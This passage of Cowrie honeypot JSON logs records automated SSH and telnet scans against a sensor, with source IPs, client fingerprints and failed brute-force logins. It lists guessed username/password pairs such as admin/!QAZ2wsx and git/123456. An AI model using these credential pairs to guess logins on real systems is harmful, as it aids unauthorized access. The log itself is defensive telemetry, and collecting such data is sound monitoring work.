nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:27.050702Z","src_ip":"45.153.34.195","session":"e9e84db3d3c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx","message":"login attempt [admin/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:27.622820Z","src_ip":"45.153.34.195","session":"e9e84db3d3c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:27.822739Z","src_ip":"91.92.40.36","session":"809fe6b84cd2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:28.054788Z","src_ip":"91.92.40.36","session":"bd35ede10924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:28.058542Z","src_ip":"91.92.40.36","session":"bd35ede10924","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49970,"dst_ip":"159.203.135.109","dst_port":23,"session":"261072bca379","protocol":"telnet","message":"New connection: 128.199.8.54:49970 (159.203.135.109:23) [session: 261072bca379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:28.407889Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:28.708614Z","src_ip":"45.153.34.195","session":"e9e84db3d3c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":56274,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd0a91e533f3","protocol":"ssh","message":"New connection: 45.153.34.195:56274 (10.17.0.5:22) [session: cd0a91e533f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:29.902979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:30.070425Z","src_ip":"45.153.34.195","session":"cd0a91e533f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:30.081191Z","src_ip":"45.153.34.195","session":"cd0a91e533f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:30.673312Z","src_ip":"45.153.34.195","session":"cd0a91e533f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:31.168386Z","src_ip":"91.92.40.36","session":"809fe6b84cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:31.862871Z","src_ip":"45.153.34.195","session":"cd0a91e533f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28914,"dst_ip":"10.17.0.5","dst_port":22,"session":"109be348400a","protocol":"ssh","message":"New connection: 45.153.34.195:28914 (10.17.0.5:22) [session: 109be348400a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:32.931094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:32.942292Z","src_ip":"45.153.34.195","session":"109be348400a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:33.039170Z","src_ip":"45.153.34.195","session":"109be348400a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41492,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0c72e8cfa02","protocol":"ssh","message":"New connection: 91.92.40.36:41492 (10.17.0.5:22) [session: f0c72e8cfa02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:33.250427Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:33.485665Z","src_ip":"45.153.34.195","session":"109be348400a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:34.569426Z","src_ip":"45.153.34.195","session":"109be348400a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58528,"dst_ip":"159.203.135.109","dst_port":23,"session":"b94f554d3d70","protocol":"telnet","message":"New connection: 172.81.62.90:58528 (159.203.135.109:23) [session: b94f554d3d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:34.827431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:35.322443Z","src_ip":"91.92.40.36","session":"f0c72e8cfa02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:35.326966Z","src_ip":"91.92.40.36","session":"f0c72e8cfa02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28928,"dst_ip":"10.17.0.5","dst_port":22,"session":"4db9522d2bd2","protocol":"ssh","message":"New connection: 45.153.34.195:28928 (10.17.0.5:22) [session: 4db9522d2bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:36.009540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:36.029096Z","src_ip":"45.153.34.195","session":"4db9522d2bd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:36.111934Z","src_ip":"45.153.34.195","session":"4db9522d2bd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456789","message":"login attempt [devops/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:36.492943Z","src_ip":"45.153.34.195","session":"4db9522d2bd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39630,"dst_ip":"159.203.135.109","dst_port":23,"session":"305389f679a1","protocol":"telnet","message":"New connection: 172.81.62.90:39630 (159.203.135.109:23) [session: 305389f679a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:36.932858Z"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin123","message":"login attempt [kevin/kevin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:37.026952Z","src_ip":"91.92.40.36","session":"bd35ede10924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:37.577048Z","src_ip":"45.153.34.195","session":"4db9522d2bd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28940,"dst_ip":"10.17.0.5","dst_port":22,"session":"a80bf0de68f5","protocol":"ssh","message":"New connection: 45.153.34.195:28940 (10.17.0.5:22) [session: a80bf0de68f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:38.970547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:38.974628Z","src_ip":"45.153.34.195","session":"a80bf0de68f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:39.060672Z","src_ip":"45.153.34.195","session":"a80bf0de68f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:39.353508Z","src_ip":"45.153.34.195","session":"a80bf0de68f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.4","message":"Connection lost after 13.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:39.801305Z","src_ip":"91.92.40.36","session":"bd35ede10924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:40.439757Z","src_ip":"45.153.34.195","session":"a80bf0de68f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28956,"dst_ip":"10.17.0.5","dst_port":22,"session":"69625a99f4e3","protocol":"ssh","message":"New connection: 45.153.34.195:28956 (10.17.0.5:22) [session: 69625a99f4e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:41.899033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:41.905320Z","src_ip":"45.153.34.195","session":"69625a99f4e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:42.004120Z","src_ip":"45.153.34.195","session":"69625a99f4e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:42.256039Z","src_ip":"45.153.34.195","session":"69625a99f4e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":36244,"dst_ip":"10.17.0.5","dst_port":22,"session":"6460fd670b57","protocol":"ssh","message":"New connection: 101.36.122.139:36244 (10.17.0.5:22) [session: 6460fd670b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:42.681019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:42.685198Z","src_ip":"101.36.122.139","session":"6460fd670b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1","message":"login attempt [dev/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:42.773600Z","src_ip":"91.92.40.36","session":"f0c72e8cfa02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:42.904178Z","src_ip":"101.36.122.139","session":"6460fd670b57","protocol":"ssh"}
